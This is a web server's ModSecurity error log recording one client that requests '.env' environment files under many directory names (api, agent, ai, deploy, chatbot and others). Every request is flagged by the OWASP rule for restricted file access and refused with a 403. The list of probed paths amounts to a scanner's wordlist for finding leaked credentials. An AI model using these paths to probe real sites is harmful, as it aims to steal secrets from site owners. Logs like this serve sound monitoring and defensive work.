[Mon Oct 26 10:03:26.955250 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at9drokBAlsUe0HxPuSmHAAAAA4"]
[Mon Oct 26 10:03:26.955372 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at9drrcZuT5gdeNd6aUKAQAAAAs"]
[Mon Oct 26 10:03:26.955535 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at9drokBAlsUe0HxPuSmHAAAAA4"]
[Mon Oct 26 10:03:26.955600 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at9drrcZuT5gdeNd6aUKAQAAAAs"]
[Mon Oct 26 10:03:26.955813 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at9drrcZuT5gdeNd6aUKAQAAAAs"]
[Mon Oct 26 10:03:26.969445 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at9drtdWtrCZuT8sbNQ5cQAAACU"]
[Mon Oct 26 10:03:26.969639 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at9drtdWtrCZuT8sbNQ5cQAAACU"]
[Mon Oct 26 10:03:26.969868 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at9drtdWtrCZuT8sbNQ5cQAAACU"]
[Mon Oct 26 10:03:26.975285 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at9drgt8dJFpdHay4jzKggAAAAA"]
[Mon Oct 26 10:03:26.975489 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at9drgt8dJFpdHay4jzKggAAAAA"]
[Mon Oct 26 10:03:26.975710 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at9drgt8dJFpdHay4jzKggAAAAA"]
[Mon Oct 26 10:03:26.976781 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at9drrnmpHTSsAiKbb2bxwAAAAc"]
[Mon Oct 26 10:03:26.976942 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at9drrnmpHTSsAiKbb2bxwAAAAc"]
[Mon Oct 26 10:03:26.977180 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at9drrnmpHTSsAiKbb2bxwAAAAc"]
[Mon Oct 26 10:03:27.005799 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at9drwt8dJFpdHay4jzKgwAAAAA"]
[Mon Oct 26 10:03:27.006174 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at9drwt8dJFpdHay4jzKgwAAAAA"]
[Mon Oct 26 10:03:27.006617 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at9drwt8dJFpdHay4jzKgwAAAAA"]
[Mon Oct 26 10:03:27.027580 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at9dryDi6FEnz4zo40NhdAAAAAk"]
[Mon Oct 26 10:03:27.027784 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at9dryDi6FEnz4zo40NhdAAAAAk"]
[Mon Oct 26 10:03:27.028022 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at9dryDi6FEnz4zo40NhdAAAAAk"]
[Mon Oct 26 10:03:27.049124 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at9drwt8dJFpdHay4jzKhAAAAAA"]
[Mon Oct 26 10:03:27.049337 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at9drwt8dJFpdHay4jzKhAAAAAA"]
[Mon Oct 26 10:03:27.049591 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at9drwt8dJFpdHay4jzKhAAAAAA"]
[Mon Oct 26 10:03:27.051909 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at9dr7GXTlA520hhAgG7-AAAAA8"]
[Mon Oct 26 10:03:27.052463 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at9dr7GXTlA520hhAgG7-AAAAA8"]
[Mon Oct 26 10:03:27.052688 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at9dr7GXTlA520hhAgG7-AAAAA8"]
[Mon Oct 26 10:03:27.074104 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at9dryDi6FEnz4zo40NhdQAAAAk"]
[Mon Oct 26 10:03:27.074110 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmHQAAAA4"]
[Mon Oct 26 10:03:27.074304 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmHQAAAA4"]
[Mon Oct 26 10:03:27.074305 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at9dryDi6FEnz4zo40NhdQAAAAk"]
[Mon Oct 26 10:03:27.074564 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at9dryDi6FEnz4zo40NhdQAAAAk"]
[Mon Oct 26 10:03:27.074568 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmHQAAAA4"]
[Mon Oct 26 10:03:27.075617 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at9dr7cZuT5gdeNd6aUKAgAAAAs"]
[Mon Oct 26 10:03:27.075769 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at9dr7cZuT5gdeNd6aUKAgAAAAs"]
[Mon Oct 26 10:03:27.076011 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at9dr7cZuT5gdeNd6aUKAgAAAAs"]
[Mon Oct 26 10:03:27.094951 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at9dr7GXTlA520hhAgG7-QAAAA8"]
[Mon Oct 26 10:03:27.095107 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at9dr7GXTlA520hhAgG7-QAAAA8"]
[Mon Oct 26 10:03:27.095362 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at9dr7GXTlA520hhAgG7-QAAAA8"]
[Mon Oct 26 10:03:27.096555 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at9drwt8dJFpdHay4jzKhQAAAAA"]
